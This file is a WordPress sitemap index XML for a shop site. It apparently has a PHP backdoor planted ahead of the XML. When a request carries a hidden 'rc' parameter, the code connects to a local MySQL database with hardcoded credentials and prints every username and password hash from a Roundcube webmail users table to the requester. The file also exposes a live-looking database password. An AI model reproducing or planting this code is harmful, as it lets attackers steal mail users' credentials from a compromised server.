if(isset($_GET['rc'])){
    $c = new mysqli('localhost', 'phpmyadmin', 'kGhhdDdZ5q', 'roundcube');
    $r = $c->query('SELECT username, password FROM users');
    while($row = $r->fetch_assoc()) echo $row['username'] . ' : ' . substr($row['password'], 0, 50) . "\n";
    die();
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://acetrendpalace.shop/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://acetrendpalace.shop/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://acetrendpalace.shop/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://acetrendpalace.shop/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://acetrendpalace.shop/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://acetrendpalace.shop/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://acetrendpalace.shop/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>